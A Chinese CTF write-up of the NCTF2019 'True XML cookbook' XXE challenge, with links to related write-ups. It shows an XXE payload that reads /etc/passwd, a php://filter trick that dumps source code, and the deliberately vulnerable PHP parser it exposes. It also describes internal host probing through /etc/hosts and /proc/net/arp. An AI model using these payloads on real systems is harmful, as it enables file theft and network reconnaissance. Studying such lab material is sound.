[NCTF2019]True XML cookbook
考点:XXE 浅谈XML实体注入漏洞
参考做过的上一道题:[NCTF2019]Fake XML cookbook
定义恶意外部实体,在原本的XML数据中进行引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
在已经存在的< username>标签中可以进行调用,使用&admin;即可
尝试使用file://协议读取flag
失败,而且有报错,泄露了源码路径:/var/www/html/doLogin.php
可以用php伪协议读取源码:
php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php
解码得到源码:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');try{$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$username = $creds->username;$password = $creds->password;if($username == $USERNAME && $password == $PASSWORD){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);}else{$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);}
}catch(Exception $e){$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
好像没什么用…
说明flag可能不在根目录下,xxe可以内网探测存活的主机,获取/etc/hosts文件,分别读取关键文件:/etc/hosts 和 /proc/net/arp:
发现2个ip
尝试使用http协议访问,发现报错
使用intruder模块爆破C段即可
这里不知道为啥没爆破出来,但方法就是这样
[NCTF2019]True XML cookbook相关推荐
- [NCTF2019]Fake XML cookbook 1
[NCTF2019]Fake XML cookbook 1 首先得到题目: 尝试弱口令和sql注入 发现没有结果 抓个包发现: 并且题目也提示了XML 这里的X-Requested-With提示了XM ...
- [NCTF2019]Fake XML cookbook
web第44题 [NCTF2019]Fake XML cookbook 打开靶场: 一个登录页面,使用burp抓包 可以看到类型是xml 第一次接触XXE漏洞,参考:浅谈XML实体注入漏洞 讲的非常详 ...
- Buuctf -web wp汇总(三)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...
- BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
- BUUCTF笔记之Web系列部分WriteUp(四)
1.[BJDCTF2020]Mark loves cat dirb扫描目录发现.git泄露. githack获取源码 <?php$flag = file_get_contents('/flag' ...
- WEB 漏洞-XXEXML 之利用检测绕过
WEB 漏洞-XXE&XML 之利用检测绕过 XXE&XML DTD 内部DOCTYPE 声明 外部DOCTYPE声明 内部实体声明 外部实体声明 为什么使用 DTD pikachu ...
- BUUCTF-社团考核
目录 1.[CISCN2019 华东南赛区]Web4 2.[GWCTF 2019]枯燥的抽奖 3.[NCTF2019]Fake XML cookbook 4.[SCTF2019]Flag Shop 5 ...
- [WP/ctfshow/XXE]ctfshow_XXE_web373-378
外部实体注入 WEB373 // 允许加载外部实体 libxml_disable_entity_loader(false); // xml文件来源于数据流 $xmlfile = file_get_co ...
- 简单XXE漏洞理解以及在实战中演练【网络安全】
1.概念 XXE(XML External Entity Injection) 全称为 XML 外部实体注入.这是一个注入漏洞,强调利用点是外部实体 ,将注意力集中于外部实体中,而不要被 XML 中其 ...
最新文章
- Java Optional类源码解析和用法
- 算法系列15天速成——第十天 栈
- python画饼图-python matplotlib画饼图
- vb6 datagrid表格垂直居中_Word文档中表格的定位方式
- 高级concurrent包
- Dubbo-admin的安装
- 如何准确估计机器人的状态,增强机器人控制的精度及稳定性
- java foreach 实现原理
- php和nginx如何,php和nginx如何交互
- linux nfs iscsi,对比平台--iSCSI和NFS之间的区别
- hdu 4288 线段树 暴力 **
- toStringequals方法
- Makefile.am编写规则
- java中文乱码转换编程_java中文乱码如何转换
- linux怎么查看tudexo状态,linux怎么安装tuxedo中间件?
- Exchange 2010输入序列号方式
- 安卓手机批量导入通讯录
- MATLAB中imcrop函数
- lbj学习日记 03 循环和选择结构的刷题心得
- 免费预约!百度全面开放北京地区自动驾驶出租车服务